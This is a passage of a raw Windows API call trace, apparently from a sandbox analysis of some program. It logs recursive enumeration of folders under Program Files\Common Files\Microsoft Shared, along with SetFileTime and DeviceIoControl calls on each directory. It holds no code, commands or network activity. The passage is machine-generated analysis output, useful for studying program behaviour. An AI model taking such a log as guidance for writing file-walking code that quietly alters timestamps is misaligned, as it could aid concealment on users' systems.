hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6edd8500, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x6edd8500, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1ac96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBCN6.CHM", cAlternateFileName="")) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f2be900, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x5f2be900, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x25d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7INTL.DLL", cAlternateFileName="")) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d2ba100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7d2ba100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1195f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBENDF98.CHM", cAlternateFileName="")) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8583dc00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8583dc00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe2aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBHW6.CHM", cAlternateFileName="")) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x903e7100, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x903e7100, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0xe6b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBLR6.CHM", cAlternateFileName="")) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9896ac00, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef07e390, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x9896ac00, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x1e434, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBOB6.CHM", cAlternateFileName="")) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 1 [0055.410] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae718 | out: lpFindFileData=0x17ae718*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0055.410] GetLastError () returned 0x12 [0055.410] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3960) returned 1 [0055.411] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.411] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xeef160) returned 1 [0055.411] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3740) returned 1 [0055.411] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0055.411] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0055.411] GetLastError () returned 0x12 [0055.411] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.411] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.412] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.412] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.412] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0055.412] GetLastError () returned 0x12 [0055.412] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.412] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.412] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.412] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.412] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0055.412] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.412] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC" (normalized: "c:\\program files\\common files\\microsoft shared\\vc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.413] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.413] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.413] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.414] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.414] NtClose (Handle=0x170) returned 0x0 [0055.414] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.414] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.414] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.414] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0055.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.414] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.414] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.414] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.414] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0055.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.414] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.414] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.414] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.415] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.415] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0055.415] GetLastError () returned 0x12 [0055.415] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.415] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.415] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.415] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, ftLastAccessTime.dwLowDateTime=0xd2618ca0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc9ef3e00, ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0055.415] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0055.415] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0055.415] GetLastError () returned 0x12 [0055.415] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.415] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.415] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.415] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.415] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0055.415] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0055.416] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf05cb0 [0055.416] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.416] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.416] NtClose (Handle=0x17c) returned 0x0 [0055.417] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3ec8 [0055.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0055.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed44a0 [0055.417] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cf8 [0055.417] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.417] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0055.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.417] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.417] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.417] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed3fd8 [0055.417] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3fd8) returned 1 [0055.417] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0055.417] GetLastError () returned 0x12 [0055.417] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459c38 [0055.417] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.417] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.417] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 1 [0055.418] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a7ff6, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xee7a7ff6, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x454d7b80, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x10f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX.dll", cAlternateFileName="")) returned 0 [0055.418] GetLastError () returned 0x12 [0055.418] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.418] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0055.418] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.418] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.418] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio Shared", cAlternateFileName="")) returned 1 [0055.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), fInfoLevelId=0x0, lpFileInformation=0x17aee3c | out: lpFileInformation=0x17aee3c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81afcd40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x81afcd40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x81afcd40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0055.418] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x17aee80, lpLastWriteTime=0x17aee80) returned 0 [0055.418] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf05cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17aeed8, lpOverlapped=0x0 | out: lpOutBuffer=0xf05cb0, lpBytesReturned=0x17aeed8, lpOverlapped=0x0) returned 0 [0055.418] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf05cb0) returned 1 [0055.418] NtClose (Handle=0x170) returned 0x0 [0055.419] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.419] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\*", fInfoLevelId=0x1, 